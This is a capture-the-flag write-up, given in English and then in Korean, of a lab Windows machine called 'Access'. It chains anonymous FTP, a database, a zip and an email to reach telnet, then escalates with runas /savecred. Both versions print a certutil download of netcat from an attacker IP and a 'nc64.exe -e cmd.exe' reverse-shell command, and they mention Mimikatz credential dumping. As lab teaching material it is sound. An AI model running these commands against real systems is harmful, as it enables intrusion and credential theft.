Target IP: 10.10.10.98

Initial Reconnaissance

Access is an old Windows box, and the port layout says so.

nmap -p- -sC -sV 10.10.10.98
21/tcp open  ftp     Microsoft ftpd  (Anonymous FTP login allowed)
23/tcp open  telnet
80/tcp open  http    Microsoft IIS httpd 7.5

Anonymous FTP was allowed, so that was the obvious first stop.

Anonymous FTP: a Database and a Locked Zip

FTP had two directories. Backups held a Microsoft Access database, and Engineer held a password-protected zip.

Backups/backup.mdb
Engineer/Access Control.zip

I pulled both down (remembering to switch to binary mode first).

Cracking the Chain: mdb -> zip -> pst

The .mdb opened with mdbtools, and one of its tables held an application password.

mdb-tables backup.mdb
mdb-export backup.mdb auth_user    # -> access4u@security

Reading the auth_user table out of the Access database

The application password recovered from the database

My first instinct with the zip was to crack it (zip2john plus john against rockyou), but it churned forever with no hit. Then I tried the string from the database, and it opened immediately. The .mdb password was reused as the zip password, so no cracking was needed after all.

7z x "Access Control.zip"          # password: access4u@security

Inside was an Outlook .pst file. Converting it to mbox exposed an email announcing a password change for the security account.

readpst "Access Control.pst"

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.

The recovered .pst email announcing the new security password

Telnet as security

Port 23 was waiting for exactly those credentials.

telnet 10.10.10.98
# login: security
# password: 4Cc3ssC0ntr0ller
C:\Users\security> type Desktop\user.txt

User flag through the Telnet session

Privilege Escalation with runas /savecred

Looking around, the Public Desktop had a shortcut for a “ZKAccess” security application. Dumping its target revealed how it launched.

runas /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"

The /savecred flag means the administrator’s credentials are already stored in the Windows Credential Manager. I could reuse them to run anything as Administrator, no password required. I staged nc64.exe and launched a shell.

certutil -f -urlcache http://10.10.14.3:7777/nc64.exe C:\tools\nc64.exe
runas /savecred /user:ACCESS\Administrator "C:\tools\nc64.exe -e cmd.exe 10.10.14.3 4444"

The listener returned an Administrator shell and the root flag.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

Administrator shell caught on the listener

As a bonus, those stored credentials are protected by DPAPI, and running Mimikatz’s sekurlsa::logonpasswords recovers the actual cleartext administrator password (55Acc3ssS3cur1ty@megacorp).

Takeaways

Access is a lesson in artifact chaining. No exploit is involved anywhere. A forgotten backup on anonymous FTP leads to a database password, which opens a zip, which contains an email with the next account’s password.

The privilege escalation is a great example of why /savecred is dangerous. A convenience shortcut that caches admin credentials effectively hands any local user a password-free path to Administrator.


대상 IP: 10.10.10.98

초기 정찰

Access는 오래된 Windows 머신이고, 포트 구성만 봐도 그렇습니다.

nmap -p- -sC -sV 10.10.10.98
21/tcp open  ftp     Microsoft ftpd  (Anonymous FTP login allowed)
23/tcp open  telnet
80/tcp open  http    Microsoft IIS httpd 7.5

익명 FTP가 허용되어 있어서, 당연히 거기부터 봤습니다.

익명 FTP: 데이터베이스와 잠긴 Zip

FTP에는 디렉터리가 두 개 있었습니다. Backups에는 Microsoft Access 데이터베이스가, Engineer에는 비밀번호가 걸린 zip이 있었어요.

Backups/backup.mdb
Engineer/Access Control.zip

둘 다 내려받았습니다. (먼저 binary 모드로 바꾸는 걸 잊지 않고요.)

체인 풀기: mdb -> zip -> pst

.mdb는 mdbtools로 열렸고, 테이블 중 하나에 애플리케이션 비밀번호가 들어 있었습니다.

mdb-tables backup.mdb
mdb-export backup.mdb auth_user    # -> access4u@security

Access 데이터베이스에서 auth_user 테이블 읽기

데이터베이스에서 복구한 애플리케이션 비밀번호

사실 zip을 보자마자 든 생각은 크랙이었습니다. zip2john으로 해시를 뽑아 john에 rockyou를 물렸는데, 한참을 돌려도 아무것도 안 나오더라고요. 그러다 데이터베이스에서 나온 문자열을 넣어봤더니 바로 열렸습니다. .mdb 비밀번호가 zip 비밀번호로 재사용된 거라, 결국 크랙할 필요가 없었던 거죠.

7z x "Access Control.zip"          # password: access4u@security

안에는 Outlook .pst 파일이 있었습니다. mbox로 변환하니 security 계정의 비밀번호 변경을 알리는 이메일이 나왔어요.

readpst "Access Control.pst"

“security” 계정의 비밀번호가 4Cc3ssC0ntr0ller로 변경되었습니다.

새 security 비밀번호를 알리는, 복구된 .pst 이메일

security로 telnet

23번 포트가 바로 그 credential을 기다리고 있었습니다.

telnet 10.10.10.98
# login: security
# password: 4Cc3ssC0ntr0ller
C:\Users\security> type Desktop\user.txt

Telnet 세션으로 얻은 user 플래그

runas /savecred로 권한 상승

둘러보니 Public 바탕화면에 “ZKAccess” 보안 애플리케이션 바로가기가 있었습니다. 그 대상(target)을 덤프해보니 실행 방식이 드러났어요.

runas /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"

/savecred 플래그는 관리자 credential이 이미 Windows 자격 증명 관리자에 저장되어 있다는 뜻입니다. 비밀번호 없이 이걸 재사용해서 무엇이든 Administrator로 실행할 수 있죠. nc64.exe를 올려두고 셸을 띄웠습니다.

certutil -f -urlcache http://10.10.14.3:7777/nc64.exe C:\tools\nc64.exe
runas /savecred /user:ACCESS\Administrator "C:\tools\nc64.exe -e cmd.exe 10.10.14.3 4444"

리스너에 Administrator 셸이 붙었고, root 플래그가 나왔습니다.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

리스너에 붙은 Administrator 셸

덤으로, 저장된 credential은 DPAPI로 보호되는데, Mimikatz의 sekurlsa::logonpasswords를 돌리면 실제 관리자 평문 비밀번호(55Acc3ssS3cur1ty@megacorp)까지 복구할 수 있습니다.

정리

Access는 아티팩트 연결의 교훈입니다. 어디에도 익스플로잇이 없어요. 익명 FTP에 잊혀진 백업이 데이터베이스 비밀번호로 이어지고, 그게 zip을 열고, 그 안의 이메일이 다음 계정의 비밀번호를 담고 있죠.

권한 상승은 /savecred가 왜 위험한지 잘 보여주는 예입니다. 관리자 credential을 캐시하는 편의성 바로가기가, 사실상 모든 로컬 사용자에게 비밀번호 없는 Administrator 경로를 넘겨주는 셈이니까요.